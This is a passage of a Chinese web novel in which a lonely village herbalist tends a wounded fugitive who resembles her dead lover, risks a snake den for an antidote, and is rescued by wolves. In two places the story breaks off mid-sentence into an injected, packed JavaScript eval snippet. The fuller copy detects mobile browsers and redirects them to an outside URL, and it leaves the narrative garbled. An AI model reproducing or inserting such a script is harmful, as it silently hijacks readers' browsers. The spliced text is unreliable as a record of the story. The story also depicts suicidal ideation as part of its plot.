伸手去探他的脉细,刚端过热汤面的手指热的,刚贴上手腕,就被裴衍下意识反手擒住,他的手劲极大,阿娇疼得一激灵,只觉腕骨都要碎裂。 “把...把脉。”她哆嗦着说。 裴衍露出个恍然的眼神,松了手,见阿娇托着右手腕哆嗦,甚是贴心地将手递到她手边。 “得罪了。” 阿娇揉着手腕,直觉这人并不似他表面这般温良友善,但看他一眼,又觉不能如此武断,这般样貌的人,和徐天白长得五分像的人,又能坏到哪里去。 “脉象挺平和的,只是这体温怎么还是偏高,我再看下你腰腹的伤口。” 裴衍却没动,只静静地看着身旁的人,直看得她心跳慢慢加速,阿娇很想叫他闭上眼睛,会更像一点,她压力也小一点。 “姑娘可否为我寻一套衣服来?”裴衍说道。 阿娇的视线从他的面容下滑,入眼一片赤裸。 “哦哦”两声,脚步乱乱、打开衣柜,取了一套男子中衣、青衫。 这是她一针一线绣的,是贺他高中的礼,绣的时候还在想徐天白穿上会是什么样。 她摸着其上柔软的衣料和祥云纹路,叹了口气,但伤情神色在转身前就已经藏好了,说话时笑意盈盈。 “昨天怕你发烧出汗,所以未给你衣物。” 她将衣物给他后,转身出了寝屋,在外头坐了许久,再进来时又拿了两副碗筷。 裴衍已经穿好衣物,阿娇乍一看去,怔愣在门口,手上的筷子掉了一地。 晨光透过纸窗蔓延进屋内,碎金似的光屑勾出挺拔的轮廓,右交纴的领口上绣着祥云,乌黑的头发散落肩头,他闭着眼,犹似故人归。 “怎么了?”裴衍听到声响,睁开眼问道。 阿娇回神,并未言语,只是捡起筷子回厨房清洗,过了约莫两刻钟,才姗姗来迟。 裴衍看她眼圈有些红,却也没问,任由她掀开薄被,俯身去看他腰腹的伤口。 骤然贴近的温热呼吸,引得裴衍腰间肌肉一紧,垂眼看向伏在他腰间的姑娘,思及她方才眸中的惊色,微微挑眉。 阿娇将昨晚的纱布取下,均匀洒上药粉,“伤口愈合得不错,用裹帘绑上吧。” “多谢姑娘,还未请教姑娘芳名?” “阿娇。” 她神色一顿,又很快恢复,取来纱布和裹帘,给人细细得固定好伤口位置,裹帘自腰腹起,绕过前胸、肩膀、脊背,阿娇动作很小心,手指尽量不触碰到。 但到了裴衍这,时不时、若有似无的点触,反而更像是蓄意撩拨,他冷眼看着,腰腹用力绷起。 “怎么了?弄疼你了?”阿娇抬眸问,眸光清澈,并无暧昧。 但这话问的裴衍额角一跳,“我自己来,”接过她手中的裹帘,手指灵活地绕过打了一个活结。 那是一个军医常用的打结方法,她曾看爹爹打过。 初见时他便是一身劲装,身上多处新旧刀痕,想来是军旅之人,中州附近多有战乱,阿娇猜测他或许是战败的逃兵。 揭人不揭短,阿娇什么都没提,只说:“你的伤势重,饮食需好克化的,这面条已经煮的很软烂了,你尝尝。” 碗是粗糙的陶碗,还豁了一个小口,筷子是普通的竹筷。 裴衍自小行军,对饮食上并不严苛,埋伏枯守时日日都是噎人的干粮,是以面前这碗热腾腾的汤面,虽寡淡,但他并不嫌弃。 他接过碗筷,却未动,反而温和笑着说:“阿娇姑娘,救命之恩无以为报,待我伤愈后,你有何要求尽可以说来。” 阿娇瞧着那副日思夜想的面容,心中有暗鬼,“不...不用,”阿娇不自在地推辞,“医家救死扶伤是常事,不...不求报答。” 裴衍垂眼看她,眸中神色难辨。 阿娇见他迟迟不动筷,她给自己也盛了一碗,不顾别人,自己先吃了。 裴衍生性多疑,入口之物一向慎重,见阿娇吃了,才缓缓拿起碗筷,用饭。 他吃相十分斯文,执竹筷的手修长优雅,好似再简陋的物件到了他手里,也变得矜贵起来。 “很好吃,阿娇姑娘厨艺甚好。”裴衍说道。 阿娇握着筷子的手一顿,这话和徐天白当初说的一样。 但徐天白说这话是为了哄她高兴,眼前这位,大概只是客套。 阿爹从前跟她说过,一个人得活得糊涂、死得明白,她知道他们不是同一个人,但人要想活得快活,就得难得糊涂,快活一时是一时。 这么想着想着嘴角就不自觉得弯起。 裴衍这一夜亦并未安寝,正在思索退路。 山中安静,远近几无人烟,这户人家人口简单,就一平民孤女,且其擅医术,倒是个养伤的好地方。 只要这孤女不萌生非分之想,待他安全离开之日,自会重金相谢。 但若她生了非分之想,裴衍想到此处,冷嗤一声。 正在难得糊涂的阿娇,无来由地感到一阵冷风,阴恻恻地从身边吹过,她抬头看了眼窗户,纳闷儿怎么都开春了,这风还这么寒。 她起身关了窗户,回身对上他探究的目光,脱口而出,“你伤重,不要吹风为好。” 裴衍温润如玉,“多谢,阿娇姑娘似并不关心我的来处、名姓?” 阿娇不想问,也不想知道,只是想多看几眼这副好皮囊,“公子伤重,自是有公子的理由,你我不过萍水相逢,何必要问那么多。” 裴衍听到这里,眉间一挑,却又听阿娇说道:“公子这伤恐还要修养一段时日,这段时间,不如我唤您一声大哥如何?” 裴衍面色未变,依旧一副笑意盈盈的模样,不求金银,倒要攀附亲属,这女子胃口不小。 “鄙姓顾,往后唤我顾大哥即可。” 阿娇点点头,又说:“顾大哥,山中多蚊虫,咬人又毒又疼,昨夜睡着时,就总觉得有虫子叮咬。”说着她起身从衣橱里又拿出来一个香囊,姜黄的底色,她回头看了一眼床榻上的男人,又把香囊放了回去,“等我一下。” 她走去厨房,去寻了个粗麻小布袋,挂在他的床头。 “里面放了艾草、清根、明萱等驱蚊虫的草药,还掺了一点安神的,能让你睡个好觉。” 裴衍嘴上道谢,瞟了一眼那粗布袋子,又一眼那关上的衣橱。 - 午后李是好带着两个大橘子来找阿娇说话,两人坐在院子里,李是好探头飞快看了裴衍一眼,又缩了回去。 小声跟阿娇蛐蛐,“娇姐,他咋一直在睡觉,是不是不行了?” 阿娇垂眼瞧自己泛青的手腕,随口应和,“大概是虚吧。” 李是好引以为然地点点头,“阿娘说了,太虚的男人不能要,容易生不出儿子。” “就像山下卖果子的许大娘说的,跟守活寡没差别。” 阿娇一惊,连忙伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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入夜后,阿娇要将那张躺椅搬到了堂屋里,毕竟男女共处一室于理不合,昨晚是怕他烧起来,不得已才歇在屋里,今日他一切平稳,且他身体底子好,只要好好养伤,不出月余就能恢复如初。 “这本是你的卧房,理应是我搬出去。”裴衍道。 阿娇力气再大也搬不动那张拔步床,还是躺椅轻巧,再说让他顶着这张脸去睡小躺椅,她于心不忍。 “顾大哥你有伤在身,合该好好休息,你快点好起来,我才高兴呢。”说着手脚麻利地将躺椅搬了出去。 这张嘴倒惯会哄人,只是他裴衍不吃这一套,也不信她这副虚情假意的模样。 入夜之后,阿娇中途去卧房瞧过一次,等到了日出,他却突然发起高烧来,浑身滚烫。 阿娇查看其伤口,并无发脓迹象,又沉手切其脉,竟是中毒的脉象! 且这毒霸道,来势汹汹,若无解药怕不出两日,就要魂归西天。 这是怎么说的,先头把脉也没这迹象,难不成是今日中的毒? 阿娇双腿发软。 可今日所食之物,她也都吃了,阿娇连拍几下他的面颊,想让人醒过来,问问情况。 可人已经烧得神智难寻,她在床榻边坐了一会儿,瞧着烛光下那张微微蹙眉的脸,心绪复杂之余更觉荒谬。 这模样是有什么说头吗? 长这般模样的,就非得死? 没有船难,就有突如其来的剧毒? 她都快服气了。 虽不知这是什么毒,但从前阿爹告诉过她一种草药,能解世间大多毒物,只是那草药生长在毒蛇窝里,并非寻常可得。 阿娇看着那张熟悉的脸,叹了口气,像是认了命,换了外出的衣服。 6. 第 6 章 已有数月不曾进青云县闹市,她一路行色匆匆往回春堂赶去。 回春堂是举国可数的大药堂,天下药材汇聚之地,在她没出王家那回事之前,她采的草药也都是卖给回春堂,和李大夫有几分交情。 她到的早,回春堂尚未开始营业,只有几个小厮在擦洗门面,瞧见阿娇,也不似从前热络,自顾自地继续干活。 阿娇焦急,家里那个现今还不知如何了,“小哥,李大夫可来了?我有急事找他!” “去去去,我们家不收你的药!”小厮挥手驱赶,“我们李大夫也没空见你。” “我真的有急事,求求你,让我见见李大夫。” 小厮被缠得烦了,端起脏水盆泼到阿娇脚下,直将人泼了出去,“您这贵脚可别踏我们这清白地儿,若被人看到了,还以为我们回春堂和你这杀人庸医一样!” 阿娇的裙摆、绣鞋都被污水打湿,风一吹凉飕飕的,就跟她现在的心一样。 “阿娇姑娘?”身后传来一声男子的声音。 “可是来寻我?” 阿娇转身看去,犹如看到救命的菩萨,“李大夫!” 李大夫年约三十,生得儒雅,穿一身雪青色长衫,腰间挂着只绿竹荷包,仪态翩翩。 李大夫带着她入后堂,见她绣鞋湿透,又取了一双女鞋给她。 “小厮无理,我替他向你道歉,这是我妹妹的,莫嫌弃,”见阿娇不接,又说:“不着急,春寒料峭,先换鞋吧。” 阿娇只得在屏风后换了,李大夫又给她沏了一杯热茶,让她慢慢说。 阿娇便将来意简略地说了,并未提顾大哥的事,只说自己在钻研阿爹留下的医术研制丸药,缺了一味药。 李大夫是回春堂的少东家,于医道上颇有造诣,看病也是看人,他看出来阿娇没说真话。 “曾有贵人悬赏百两黄金购穿莲草,重赏之下,的确有人不怕死进青云山深处,多少人送了命都没带出来药,这你是知道的。” 这事阿娇当然知道,阿爹就是在那次上山之后,中了蛇毒,三月之后撒手人寰。 “李大夫,我知道此药稀有,阿爹即便送了性命也没带出来,但回春堂是举国大医馆——” 李大夫听她这般说时,面上闪过一瞬间的愕然,而后打断道:“你爹在时,还曾教过我一段时日,论起来,你该叫我一句师兄。” “我若知道你今日来是为穿莲草,就不会让你进来,师兄劝你一句,这草药你买不到,也别再去别的医馆问。” 阿娇没懂他话里的意思,以为是价钱的问题,“李大夫,价钱不是问题。” 她出门前拿了顾大哥的玉佩,她知这玉佩对他很重要,但人都快没了,主次总要分得清楚。 她还要再说,却被李大夫打断,“阿娇,趁现下没人看见,赶紧走。” 两人说话间,外头一阵喧哗,李大夫快步走到垂帘边,食指撩开一点缝隙往外看。 是一群官差。 这两日总有官差来搜查质询,问的就是是否有人打听、购买穿莲草。 李大夫快步回到桌案旁,“最近官差日日都来盘查,是为了捉一个叛臣逆贼,你从后门走,今日就当没来过,回山上去。” 阿娇也听到了外头的喧嚣声,见李大夫这般形容,她就算是个傻子,也品出来几分不对劲了,当下脚步飞快,半跑半走地出了回春堂。 李大夫利索地将阿娇用过的茶杯收起来,抹去痕迹后才去前堂应付官差。 只是在一刻钟后,李大夫回到后堂,紧闭了门窗,缓慢转动了下高几上放置的玉兰春瓶,一道暗门缓缓显现了出来。 - 却说阿娇从回春堂出来,一颗心还惊魂未定,一个拐角转弯,又是仇人见面,当下脊背紧绷,牙关咬紧。 那王顺在楼子里厮混一整晚,正晃晃悠悠地要家去,一个拐弯就遇到这煞神,下意识扶着墙走。 但这两旁都是临街的店铺,家家商户都开了门,提水洒扫。 王顺人前极为要面儿,梗着脖子,虚张声势,“阿娇,你还敢下山!” 阿娇背靠着砖头墙壁,一颗心吊在喉咙口,此刻只想速速离开。 王顺见她势弱,全不似那晚鬼上身的狠厉样,顿时胆子就壮了,转头瞧着阿娇来的方向,回春堂? “你又来卖药?” “回春堂要是敢收你的药,我就吵得全青云县都知道,他回春堂和你这杀人庸医是一丘之貉!” 阿娇隐隐从巷子深处听见官差的声音,救命药没买到,又瞧着眼前这狗屎一样的烂人,烦得要死,又生了破罐子破摔,大家一起死的想法。 王顺瞧她眼神不对,后退一步抵着墙,“我告..告诉你,那晚我瞧见了,你屋里有个男人!你背夫偷汉!” 阿娇心惊,怕他再说出别的,当下抬脚就踹,伸手就扇,王顺看着高大,内里虚成棉花,没用得很。 王顺倒在地上,抱着脑袋呜呼哀嚎,心里暗骂这娘们就是会装乖,装弱! 阿娇着急回家,将人揍了一顿就马不停蹄地往家赶。 见阿娇走远,立时收了那副求饶的贱样,狠狠地“呸”了一声,爬起来躲到僻静处,小心掏出方才挨揍时从阿娇身上偷来的玉佩,这玉通体温润,质地极透,就算他这种粗人也知这定然是块好玉。 他琢磨着趁阿娇那死丫头没发现之前,要么奉与县令大人,也和他兄弟那般在县衙里挂个闲差吃空饷,抑或速速找个识货的买家,换些钱财吃酒赌钱。 意外来财,王顺倒一时踌躇起来。 而阿娇不知玉佩被盗,正快步出闹市,也不知道顾大哥怎么样了。 若已经死了,那她就在她坑旁边给人再挖一个,反正早死晚死都得死,这糟烂的日子也着实没什么意思。 路过城门口的布告栏时,她脚步微顿,上面贴着好几张通缉令,大多都有画像,只有一张只说了特征,不知是真不知容貌还是不想让旁人知道容貌,通缉个犯人都遮遮掩掩,这朝廷也没什么前途。 阿娇飞快瞟了一眼那特征,右肘内里有一颗红痣,脚步飞快回山去了。 - 却说在山上躺着的裴大郎君,高烧一夜,醒来时就发现阿娇不见了,连带着他枕下的玉佩也不见了。 身虚体弱、气血翻涌之下,伏在榻边生生吐出一口黑血。 那玉佩是他母亲的陪嫁,也是留给他的唯一遗物,这十数年不曾离身,这孤女家中贫寒,想来是见财起意,这几日被阿娇那副人畜无害的模样糊弄,是他大意了,穷山恶水出刁民,诚不欺人。 她若是只藏起了玉佩倒也罢了,若是现于人前,别说她活不了,太子的爪牙不出半日就会追踪到此处。 裴衍捂着腰腹,强撑着身体要 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阿娇伸手以指腹轻轻摩挲着他薄薄的唇,高高的鼻,曾经那些被她刻意掩埋、压抑的难过和伤心没预兆的都跑了出来,眼泪一颗颗顺着光洁的面颊,汇聚在尖尖的下巴,她的眼睛像是开了闸,源源不断,温热咸湿的眼泪掉落在裴衍的脸上,好像他也在流泪一样。 阿娇更难过了,徐天白从来没有在她面前哭过,他一向都是笑嘻嘻的,天塌下来能当被盖的豁达心性。 阿爹走后,她便不想活了,是徐天白给她续了这几年的命。 可他走后的日子太难了,就像一个无尽的长夜,活着本就是件极无趣、痛苦的事,曾经她总是在漆黑的夜里憧憬黎明的到来,告诉自己只要再撑一撑就好了,等到他回来就好了。 可是没有。 裴衍看不到阿娇的面容,却感受到了阿娇的伤心,眼泪落到他的脸上,流进他的嘴角,热而咸。 就像他幼年的那个深夜,他也是这般被人抱在怀里,他看到了阿娘的伤心和眼泪,他抬手想要为她擦去,安慰她。 那个夜晚成了他一生的梦魇,自那时起,他的人生就好似一个无尽的长夜,唯有亲手杀尽忘恩负义的小人、人面兽心的恶人,以热血和人头祭奠无辜枉死的魂灵,这世道才算有公义,他要去争这一份公义。 他不能死在这里。 一股汹涌的热流自胸腹而上,裴衍眉头紧皱,手下意识抓住了什么,又吐出一口黑血。 这一口血倏地止住了阿娇的眼泪,她将人搬上床榻,要离开时,腰上一阵拉扯,低头一看,是他拉住了一角衣裙。 阿娇的眼睛红得像兔子,明明看着是个娇弱的姑娘,但神态里总是透着股决绝的意味,她矮下身,盯着那张脸,说:“我知道你不姓顾,若我还有命回来,咱俩就一块瞎活;若我死了,就当是对我的成全。” 阿娇一根一根掰开他的手指,将明黄色衣裙从他手中拉出来,裴衍的手中骤然空了,五指下意识地抓了抓,却什么都抓到,空荡荡,赤条条。 脚步声渐渐远去,阿娇背上竹篓,拿着镰刀,上山去。 大概子女总是要走上父辈的老路,曾经年幼的她抱着爹爹的脚,哭求他不要上山采那株药材,她已经没了娘亲,不能再没有爹爹。 “爹爹别去,爹爹要钱就把阿娇卖了吧,阿娇愿意,求爹爹不要扔下阿娇一个人!” 可她的眼泪太轻,打动不了爹爹求财的心。 或许不是她的眼泪太轻,是她太轻了,就好似世间一粒无关紧要的浮尘,无人在乎,无人在意。 7. 第 7 章 青云山地形复杂,天气变化极快,白日还是烈日当空,入了夜,突然下起暴雨。 雨水似漫天海啸般涌向林间山木,狂风卷地,打落满山狼藉。 山路曲折难行,雨夜更甚,带出来的灯笼早已被雨水打灭,她只能靠经验摸索前进。 阿爹进山前曾跟她说过穿莲草所在位置,她往日里进山采药,会远远绕过那处,因那穿莲草所在之处,便是毒蛇窟。 她一步一步走得极为小心,倒地枝干、野草极易划伤腿脚,野兽嗅觉灵敏,怕她还没走到毒蛇窟,就要先被闻血而来的野兽给吞了。 等走到毒蛇窟附近,她寻了一棵高大的树,趴在树干上眯着眼看十米开外的草药,旁边不时闪现毒蛇的竖眸和“呲呲”的瘆人声响。 还有狼嚎。 绵延不绝。 不是一只,而是一群。 李婶说最近山中时常有狼出没,她一次都没碰见,没想到这会儿遇上了。 当真是“麻绳专挑细处断,厄运专找苦命人”。 死在蛇窝和死在狼牙下,怎么选都选不出个稍微好点的。 阿娇摸了摸腰侧系着的竹筒,里头放着一罐甜味毒药,她不怕死,就是怕死得太痛苦、太漫长。 “阿爹阿娘,还有徐天白,带上你们的列祖列宗显显灵吧,就算要死,也要让我好死一点!” 她许完愿,从摸出怀中尚干燥的火折子和一叠草纸,瞅准时间点燃,猛地往蛇窝里一掷! 毒蛇怕火,且那草纸上还洒了足量的驱虫蛇的药粉。 蛇窟里一下四下奔逃,草丛里的沙沙声不断。 与此同时,半山腰的草庐小院陷入一种剑拔弩张的寂静,一群身穿黑色劲装,腰间佩剑的蒙面人悄无声息翻进院落,电闪雷鸣间,头领用刀悄声顶开窗户,向内看去... 山上的阿娇看准时机,飞快下树,踮着脚趋近穿莲草,但尚未摘到草药,手上就传来一阵剧痛。 她什么都不想,只有一个念头,没倒下就继续往前走。 火势渐小,阿娇又点燃了一团,一边扔,一边拿着镰刀挥砍,无视身上到处传来的疼痛伸手采药! 穿莲草周围盘踞着蛇王,身长9尺有余,重达三十余斤,一双眼睛竖起,凶狠野性毕露,它行动灵活,夜视能力佳,吞下阿娇这种身形的姑娘,不过一两日的光景,而咬死她,也不过一瞬的工夫。 雷声隆隆,一道闪电划过,照亮少女单薄的身形,其上伤痕累累,眼眸深处却迸发着令人心惊的一抹寒光,死死盯着五米开外,高高高高昂起的蛇身,以及藏在暗处的一双双油绿狼眼。 阿娇心跳如雷,一切动作全凭直觉,她极为缓慢地将药材塞进怀里,然后转身就跑! 身后草丛沙沙声、狼嚎声立刻相互应和,飞扑奔涌! 犹如千军万马,气势恢宏。 电闪雷鸣间,阿娇狂奔,她反手摸向腰间的竹筒,总要好死一点! 可腰上空空荡荡,竹筒早不知在何时掉落。 阿娇:...... 果然她的命格里刻着“事与愿违”四个大字,想要好死,就一定不得好死。 突然间脚下不知绊到何物,一脚踏空,顷刻间万籁俱寂,她下意识攥紧了胸前的长命锁,深山黑夜,豆大纷乱的雨点打在面颊上,流进眼睛里,在这个瞬间,她好像回到了清河渡的渡口,一样的瓢泼大雨,一样的无助伤心。 徐天白,这一次我闭上眼睛,就能见到你了吧。 - 爹爹去世那年,阿娇不过十余岁,他是中了蛇毒,活活疼死的。 阿娇亲眼看着爹爹的痛苦,听着他半夜的哀嚎声,她日夜守在爹爹床边,害怕又无助。 那时她就在想,等到她要死的那一天,一定要好死一点。 她怕疼,怕苦,怕孤单,怕家里只有她一个人的声音,也怕家里不只有她一个人的声音。 唯独不怕的,只有死。 阿娇第一次给自己挖坑是在两年前的春。 她在山里精挑细选,终寻得一宝地,拎着铲子哐哐挖。 一小郎君路过见到了,他俊俏模样,头戴蓝色儒巾,雪青色的长衫,手里还抱着一卷书,身后是巨大的橙红落日,他像是站在太阳里,一身红彤彤,说想借一借她的铲子。 阿娇一人独居已久,捏紧手里的铲子,警惕得不说话。 小郎君见状,笑着自报家门,“小生客居山顶青云寺,是为念书考学,山中风光静雅,余读书烦闷便出来走走,不巧竟遇到姑娘,也是有缘。” 阿娇:...... 野山、寺庙、书生... 她闲来无事看过很多话本子,这个开头她看过很多次,故事结尾都是不得好死。 小郎君见她不说话,以为她是羞怯,他突然往上一跳,伸长手臂摘了一个枝头的红橘子。 橘子掰成两半,露出饱满橙黄的橘肉,清香柑橘味散在风里,递了一半给阿娇。 “好吃的。” 阿娇是很懂这橘子的好吃之处的,七分甜三分酸,汁水丰沛,口齿生津,这也是她选择此地的原因之一。 她吃了这树上的橘子很多年,把自己的血肉埋在这里当养料,也就当还了这么多年的橘子情。 “你看,树顶那几个橘子长得更好,可否借你的铲子一用,打下来咱俩一人一个?” 原来不是想吃人,只是想吃橘子。 阿娇默默,死前再吃一个也行。 这小郎君大概真是个读书人,四体不勤,即便给了铁铲子也是个绣花枕头,阿娇看不过去,拍了拍帽歪踉跄的书生,拿过他手里的铁锹放回坑里,而后手脚麻利爬上树,摘了四个圆滚滚、红艳艳的大橘子。 小郎君连声称赞,把手里的书往橘子树下一放,示意阿娇坐上头,一起吃。 “读书人怎么不爱惜书?”阿娇问。 小郎君递过来一个剥好的橘子,连上头白色的橘络都剥得干干净净,眼睛里满溢笑意。 “书是死物,破破烂烂也能看,姑娘是活的,理应爱惜珍视。” 孤独的阿娇很难形容那一刹的感觉。 她看过一个话本子,说佛陀弟子阿难出家前,路遇一少女,自此爱慕难舍,佛祖问他,有多喜欢? 阿难说,他愿化身石桥,经受五百年风吹,五百年日晒,五百年雨打,只求那女子在桥上走过。 她不是阿难,她也没有对这位小郎君爱慕难舍。 但现下她挺想和这位小郎君一起,坐在她的坑边,晒着太阳,吃一个极甜极甜的橘子。 一起,这个词,对孤独的阿娇来说,格外珍贵且稀缺。 小郎君活泼又健谈,说山上寺庙里的老和尚偷偷养小鸡,说常常带夫人来上香的妻管严县令养了个娇美外室,又说他文章写得俊,来日定能高中,他一直说,一直说,直说到天边遍布晚霞。 临别前,小郎君问她。 “你挖坑是为了盛掉下来的橘子吗?” 阿娇沉默,而后点了点头。 他似松了一口气,眉眼生动,“我叫徐天白,出自《偈颂一百二十三首》晓天月白,古岸舟横,你要记得我的名字。” 阿娇点了点头。 “姑娘叫什么名字?” “阿娇。” 徐天白念了念她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405568|200487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名字,指着那一把铁锹,“昔日木兰是女郎,今朝娇娃胜儿郎,”说着朝她恭恭敬敬作了个揖,“阿娇姑娘,幸会幸会。” 往后两人时有交集,徐天白知道阿娇爱看话本子,每次来都会给她带,还会带镇上赶集买的小玩意儿,又知道阿娇颇通医术,时常借说自己看书看得头昏眼花,上门求医。 知道她不擅长厨艺,徐天白不时会拎着鸡鸭来,一介书生杀鸡放血,拔毛烹饪,都很拿手。 她家的围墙篱笆太矮,还有一处年久失修塌了,既防不住野兽也挡不了流氓,徐天白又请了泥瓦匠来修,修得整齐又结实。 阿娇的院子渐渐热闹起来,常有人声犬吠。 房间的花瓶里也常常插着新鲜的野花,窗明几净,风铃声响。 春去冬来,时过两载,徐天白要上京赶考,一来一回需数月,他放不下阿娇。 临行前,他来寻阿娇,递过去一只长命锁,小小巧巧,却是纯金打造的。 阿娇知道他的意思,是怕自己又寻短见,可她有期盼,她也不孤单,不再是从前了。 她摇摇头,没有接金锁。 徐天白知道自己这行为太孟浪,又说:“我,我后日从清河渡上船北上,你,你要不要来送我?” 阿娇微仰着头,眼前人的容貌生得极好,说话时神色很认真,瞳仁像是浸在山溪的黑葡萄,清透爽利,阿娇甚至能从中看到自己的倒影。 山风过处,处处是温柔。 阿娇转身进屋,不多时,她从屋里出来,手里拿着什么东西。 她走到人跟前,张开手心,里面躺着一枚还没绣完的香囊,姜黄的底色,其上绣着长腿动物,徐天白定睛瞧,拿不大准,但尽量往好里说。 “这是白鹤吗?” 阿娇抿了抿唇,扭过头去,小声说:“鸳鸯。” 徐天白反应过来,“哈哈”两声,连声说:“鸳鸯好,鸳鸯好,这一看就是鸳鸯。” 他的眼尾眉梢都是雀跃,“等我高中,我带你去京城最大的茶馆听戏,给你买最时兴的话本子!” 说完他又沉静下来,觑着阿娇的神色,小声商量,“阿娇,你若是应了我,就来清风渡送我,好吗?” 清风渡头忽而风雨交加,电闪雷鸣,徐天白青白着一张脸站在水波翻涌的江心,他流着两行血泪,问她为什么不来,为什么要失约。 “我去了的,我真的去了!” 阿娇站在岸边撕裂着嗓子喊,却怎么都发不出一点声音。 她急得要死,眼见徐天白转身要走,一头扎进江里往前游,江水刺骨,一个大浪将她重重拍下,如有巨石压胸,手脚剧烈挣扎间她从梦中醒了过来。 大汗淋漓,惊魂未定,入眼的是她熟悉的帐顶,她怔怔看了一会儿,视线又缓慢地转向屋外。 没有风雨交加、电闪雷鸣,屋外天朗气清、清风徐徐,日光带着兰花香气穿过纸窗落了进来,是个极安静、寻常的午后。 寻常到好似下一刻徐天白就会端着一盆兰花走进来,说这是他最近培育的新种,放在卧房里能凝神静气。 床榻边坐着个人,阿娇转头去看。 他大约是累了在假寐,单手支颐,光线描摹着他的面容轮廓,眉眼为暗,露出漂亮的唇与鼻。 阿娇浑浑噩噩,一时分不清这是梦境还是现实,她就这般动也不动地看着眼前人,甚至连眨眼都很少,生怕眨眼间他又像方才那般离开。 “哭什么?” 裴衍睁开眼睛,看见一双凄凄泪眼。 含着满腔的委屈和依恋,一捧热泪蓄在眼窝里,滑过挺翘的鼻梁,他心中一动,下意识抬手拭去。 8. 第 8 章 随着他的动作,光线跃动,逐渐显现出一张完整的脸,阿娇如梦惊醒。 她垂下眼,收了泪,甚至想要挪动着背过身去,奈何躺了太久,身体笨重如磨盘,转也转不动。 裴衍不知她是何意,俯身靠近,一张脸明晃晃地悬在阿娇眼前。 “还没醒?” 听到屋里的动静,在院子里喂小鸡的李是好跟阵风般刮了进来,扑在阿娇床前扯着嗓子哭。 “娇姐,娇姐!” “你昏迷好几天了,你终于醒了!” 耳朵被震得嗡嗡响,眼看阿娇又要被她哭晕过去,裴衍拎着李是好的后衣领,将人提去矮凳上坐着。 李是好一边抹着眼泪,一边将那日发生的事一一道来。 阿娇一夜未归,李是好端着娘亲熬好的野鸡山参汤上门,看到屋里顾大哥一脸死色地躺在床上,地上、衣服上还有凝固的黑血,她惊得摔了手里的陶锅,慌不择路跑出去唤娇姐,可找遍屋子和小院都没看到娇姐的身影,又看到一向放在门边的背篓和镰刀也不见了,猜测娇姐大概是上山采药了。 李是好在院子里等了一会儿,日头都走到头顶了,娇姐还没回来,昨晚山里的狼嚎声此起彼伏,她吓得直往爹娘的被窝里躲,想到这里,她再坐不住,拿上阿爹的弓箭上山寻人。 她也是这山里长大的,一路寻觅,临近日落时分,终于在棵大树旁找到了人。 但娇姐旁边还有一只公狼,体型硕大,狼眼盯着她。 李是好面色煞白、双腿战战,猛吸一口气握紧手里的弓箭,那公狼平静地与她对视,片刻之后,他站了起来,一瘸一拐、垂着尾巴走了,尾巴上还滴着血。 李是好瘫坐在地,等狼消失在视野里,才手脚并用地爬向娇姐。 “我当时吓死了,以为你要死了,但是又看到你那些伤口上潦草地敷了草药,我就赶紧把你背回来。” “爹爹说你肯定是闯了蛇窟,认出你带回来的药,给你和顾大哥吃了,这才保住了命。” “娇姐,那草药是你自己敷的吗?阿爹说还好有那草药,不然就算有大罗金丹都救不回来了。” 阿娇沉默,她当晚就昏死过去了,哪还能给自己敷药。 “还有那只狼,我以为它是等着吃人,没想到它竟然走了。” 说话间,白日里竟响起一声狼嚎,好似就在院外。 白日里不能说鬼,连狼也不能说了? 李是好缩在榻边不敢动,裴衍出门去看。 院门口放着一只小狼崽子和一只咬死的野兔,小狼崽子还用条洗得发白的衣服包着,衣服上沾着血迹,眼睛半睁不睁,虚弱得只剩下一口气。 裴衍没有去抱那小狼崽子,顺着地上的血迹望去,在矮树灌木间看到一只狼,它就站在远处盯着这头。 裴衍认识这只狼,就是在他落难之时要来吃他的那只。 君子报仇,十年不晚。 现下公狼的眼里含着泪,它的尾巴垂了下来,低低地跪坐下去,发出一点苍凉又哀求的可怜嚎叫。 裴衍此人一向恩怨分明,睚眦必报,腥风血雨里走出来的人也没有多余的善心,当下就想跃出去杀狼。 但他看到了那双琉璃眼在流泪,这让他想到了方才的阿娇,寒冰般的人竟有了几分松动,他垂眼,居高临下地踢了踢脚边的小狼崽子,小狼崽竟抬起脑袋,摇摇晃晃地贴上他的脚背。 公狼没有待下去,看到男人将狼崽子抱起来,进了院子,它就一瘸一拐地回山去。 裴衍抱着狼崽子进屋,李是好憋不住好奇朝他怀里看,“呀,小狗。” 他将小崽子放到地上,它软软地趴在棉布料子上,站都站不起来,“院门口捡的,” 阿娇此时半坐着,看着那块布料总觉眼熟,拿过来一看,果然是她小时候的衣服,上头有阿娘给她绣的小老虎。 又闻了闻上头沾的血迹,是新鲜的狼血,她心中隐隐有了猜测,那晚应该是狼群救了她。 “娇姐,怎么了?”李是好见她久久不言语,问道。 阿娇摸着棉布上微微凸起的绣样,“十多年前,阿爹曾经在山里救过一只怀孕的母狼,当时它的两条腿都受伤了,阿爹给它治伤后,脱了一件我的衣服,给它包扎的。” 李是好反应过来,惊得合不拢嘴,“难怪那只公狼不吃你呢,说不准它就是母狼的血脉来报恩的。” 裴衍的神色却有些耐人寻味,这么个穷山恶水之地,人有意思之外,连狼都突破本性,变得善良长情了? “你方才有看到狼吗?有受伤吗?” 阿娇问,她在山里生活很久,知道狼这种动物,极为爱护幼崽且仇视人,若不是走投无路,又怎么会将狼崽子放在她家门口。 裴衍瞧她着急的模样,若他说有,她是否要拖着这一身病骨下榻,又要舍命相救? “对一只畜生都如此上心,阿娇是想当圣人吗?” 阿娇抬眼看去,这人分明是笑着说的,听着怎么这么不对味。 